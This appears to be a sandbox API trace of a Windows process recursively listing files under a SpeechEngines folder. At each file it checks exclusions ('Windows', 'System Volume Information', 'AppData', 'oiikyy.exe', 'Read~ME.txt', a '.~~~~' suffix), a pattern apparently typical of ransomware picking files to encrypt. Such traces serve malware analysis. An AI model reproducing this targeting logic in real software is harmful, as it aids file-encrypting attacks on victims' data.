	[0079.664] lstrcmpW (lpString1="SpeechEngines", lpString2=".") returned 1
	[0079.664] lstrcmpW (lpString1="SpeechEngines", lpString2="..") returned 1
	[0079.664] lstrcmpW (lpString1="SpeechEngines", lpString2="AppData") returned 1
	[0079.664] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines", lpSrch="AppData") returned 0x0
	[0079.664] lstrlenW (lpString="C:\\Windows") returned 10
	[0079.664] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\SpeechEngines", lpString2="C:\\Windows") returned -1
	[0079.664] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0079.664] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\SpeechEngines", lpString2="C:\\System Volume Information") returned -1
	[0079.664] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3d26e8
	[0079.664] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\*", lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a808
	[0079.664] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0079.664] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0079.664] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0079.664] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0079.664] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0079.664] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.664] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0079.664] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0079.664] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0079.664] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0079.664] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0079.664] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0079.664] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1
	[0079.665] lstrcmpiW (lpString1="Microsoft", lpString2="Windows") returned -1
	[0079.665] lstrcmpW (lpString1="Microsoft", lpString2=".") returned 1
	[0079.665] lstrcmpW (lpString1="Microsoft", lpString2="..") returned 1
	[0079.665] lstrcmpW (lpString1="Microsoft", lpString2="AppData") returned 1
	[0079.665] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft", lpSrch="AppData") returned 0x0
	[0079.665] lstrlenW (lpString="C:\\Windows") returned 10
	[0079.665] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft", lpString2="C:\\Windows") returned -1
	[0079.665] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0079.665] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft", lpString2="C:\\System Volume Information") returned -1
	[0079.665] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3bc6e8
	[0079.665] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\*", lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a848
	[0079.666] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0079.666] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0079.666] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0079.666] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0079.666] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0079.666] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.666] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0079.666] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0079.666] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0079.666] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0079.666] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0079.666] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0079.666] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TTS20", cAlternateFileName="")) returned 1
	[0079.666] lstrcmpiW (lpString1="TTS20", lpString2="Windows") returned -1
	[0079.666] lstrcmpW (lpString1="TTS20", lpString2=".") returned 1
	[0079.666] lstrcmpW (lpString1="TTS20", lpString2="..") returned 1
	[0079.666] lstrcmpW (lpString1="TTS20", lpString2="AppData") returned 1
	[0079.666] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20", lpSrch="AppData") returned 0x0
	[0079.667] lstrlenW (lpString="C:\\Windows") returned 10
	[0079.667] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20", lpString2="C:\\Windows") returned -1
	[0079.667] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0079.667] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20", lpString2="C:\\System Volume Information") returned -1
	[0079.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x37b730
	[0079.667] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0079.667] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0079.667] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0079.668] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0079.668] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0079.668] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0079.668] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.668] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0079.668] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0079.668] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0079.668] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0079.668] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0079.668] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0079.668] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0079.668] lstrcmpiW (lpString1="en-US", lpString2="Windows") returned -1
	[0079.668] lstrcmpW (lpString1="en-US", lpString2=".") returned 1
	[0079.668] lstrcmpW (lpString1="en-US", lpString2="..") returned 1
	[0079.668] lstrcmpW (lpString1="en-US", lpString2="AppData") returned 1
	[0079.668] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US", lpSrch="AppData") returned 0x0
	[0079.668] lstrlenW (lpString="C:\\Windows") returned 10
	[0079.668] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US", lpString2="C:\\Windows") returned -1
	[0079.668] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0079.668] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US", lpString2="C:\\System Volume Information") returned -1
	[0079.668] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x38b738
	[0079.668] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*", lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a8c8
	[0079.669] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0079.669] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0079.669] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0079.669] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0079.669] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0079.669] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.669] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0079.669] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0079.669] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0079.669] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0079.669] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0079.669] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0079.669] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="enu-dsk", cAlternateFileName="")) returned 1
	[0079.669] lstrcmpiW (lpString1="enu-dsk", lpString2="Windows") returned -1
	[0079.669] lstrcmpW (lpString1="enu-dsk", lpString2=".") returned 1
	[0079.669] lstrcmpW (lpString1="enu-dsk", lpString2="..") returned 1
	[0079.669] lstrcmpW (lpString1="enu-dsk", lpString2="AppData") returned 1
	[0079.669] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk", lpSrch="AppData") returned 0x0
	[0079.669] lstrlenW (lpString="C:\\Windows") returned 10
	[0079.669] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk", lpString2="C:\\Windows") returned -1
	[0079.669] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0079.669] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk", lpString2="C:\\System Volume Information") returned -1
	[0079.669] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x280bfd0
	[0079.670] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*", lpFindFileData=0x27dea3c | out: lpFindFileData=0x27dea3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a908
	[0079.670] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0079.670] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0079.670] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0079.670] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0079.670] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0079.671] FindNextFileW (in: hFindFile=0x37a908, lpFindFileData=0x27dea3c | out: lpFindFileData=0x27dea3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.671] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0079.671] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0079.671] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0079.671] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0079.671] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0079.671] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0079.671] FindNextFileW (in: hFindFile=0x37a908, lpFindFileData=0x27dea3c | out: lpFindFileData=0x27dea3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0079.671] FindClose (in: hFindFile=0x37a908 | out: hFindFile=0x37a908) returned 1
	[0079.671] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0079.671] GetCurrentThreadId () returned 0x618
	[0079.671] RtlWakeConditionVariable () returned 0x365f48
	[0079.671] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc84877a0, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc84877a0, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5b400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSFrontendENU.dll", cAlternateFileName="")) returned 1
	[0079.671] lstrcmpiW (lpString1="MSTTSFrontendENU.dll", lpString2="Windows") returned -1
	[0079.671] lstrcmpW (lpString1="MSTTSFrontendENU.dll", lpString2="oiikyy.exe") returned -1
	[0079.671] StrStrW (lpFirst="MSTTSFrontendENU.dll", lpSrch=".~~~~") returned 0x0
	[0079.671] lstrcmpW (lpString1="MSTTSFrontendENU.dll", lpString2="Read~ME.txt") returned -1
	[0079.671] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0079.671] GetCurrentThreadId () returned 0x618
	[0079.671] RtlWakeConditionVariable () returned 0x365f48
	[0079.671] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2c77e3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2c77e3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 1
	[0079.671] lstrcmpiW (lpString1="MSTTSLoc.dll.mui", lpString2="Windows") returned -1
	[0079.671] lstrcmpW (lpString1="MSTTSLoc.dll.mui", lpString2="oiikyy.exe") returned -1
	[0079.671] StrStrW (lpFirst="MSTTSLoc.dll.mui", lpSrch=".~~~~") returned 0x0
	[0079.672] lstrcmpW (lpString1="MSTTSLoc.dll.mui", lpString2="Read~ME.txt") returned -1
	[0079.672] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0079.672] GetCurrentThreadId () returned 0x618
	[0079.672] RtlWakeConditionVariable () returned 0x365f48
	[0079.672] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2c77e3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2c77e3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 0
	[0079.672] FindClose (in: hFindFile=0x37a8c8 | out: hFindFile=0x37a8c8) returned 1
	[0079.672] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0079.672] GetCurrentThreadId () returned 0x618
	[0079.672] RtlWakeConditionVariable () returned 0x365f48
	[0079.673] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc536f5be, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc536f5be, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x36fbb600, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSCommon.dll", cAlternateFileName="")) returned 1
	[0079.673] lstrcmpiW (lpString1="MSTTSCommon.dll", lpString2="Windows") returned -1
	[0079.673] lstrcmpW (lpString1="MSTTSCommon.dll", lpString2="oiikyy.exe") returned -1
	[0079.673] StrStrW (lpFirst="MSTTSCommon.dll", lpSrch=".~~~~") returned 0x0
	[0079.673] lstrcmpW (lpString1="MSTTSCommon.dll", lpString2="Read~ME.txt") returned -1
	[0079.673] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6df0
	[0079.673] GetCurrentThreadId () returned 0x618
	[0079.673] RtlWakeConditionVariable () returned 0x365f48
	[0079.673] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc982ab94, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc982ab94, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3702e1f0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSEngine.dll", cAlternateFileName="")) returned 1
	[0079.673] lstrcmpiW (lpString1="MSTTSEngine.dll", lpString2="Windows") returned -1
	[0079.673] lstrcmpW (lpString1="MSTTSEngine.dll", lpString2="oiikyy.exe") returned -1
	[0079.673] StrStrW (lpFirst="MSTTSEngine.dll", lpSrch=".~~~~") returned 0x0
	[0079.673] lstrcmpW (lpString1="MSTTSEngine.dll", lpString2="Read~ME.txt") returned -1
	[0079.673] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6df0
	[0079.673] GetCurrentThreadId () returned 0x618
	[0079.673] RtlWakeConditionVariable () returned 0x365f48
	[0079.673] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6d522f4, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc6d522f4, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 1
	[0079.673] lstrcmpiW (lpString1="MSTTSLoc.dll", lpString2="Windows") returned -1
	[0079.673] lstrcmpW (lpString1="MSTTSLoc.dll", lpString2="oiikyy.exe") returned -1
	[0079.673] StrStrW (lpFirst="MSTTSLoc.dll", lpSrch=".~~~~") returned 0x0
	[0079.673] lstrcmpW (lpString1="MSTTSLoc.dll", lpString2="Read~ME.txt") returned -1
	[0079.674] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6df0
	[0079.674] GetCurrentThreadId () returned 0x618
	[0079.674] RtlWakeConditionVariable () returned 0x365f48
	[0079.674] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6d522f4, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc6d522f4, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 0
	[0079.674] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0079.674] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6df0
	[0079.674] GetCurrentThreadId () returned 0x618
	[0079.674] RtlWakeConditionVariable () returned 0x365f48
	[0079.674] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TTS20", cAlternateFileName="")) returned 0
	[0079.674] FindClose (in: hFindFile=0x37a848 | out: hFindFile=0x37a848) returned 1
	[0079.674] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb2d8
	[0079.674] GetCurrentThreadId () returned 0x618
	[0079.674] RtlWakeConditionVariable () returned 0x365f48
	[0079.675] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0
	[0079.675] FindClose (in: hFindFile=0x37a808 | out: hFindFile=0x37a808) returned 1
	[0079.675] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0079.675] GetCurrentThreadId () returned 0x618
	[0079.675] RtlWakeConditionVariable () returned 0x365f48
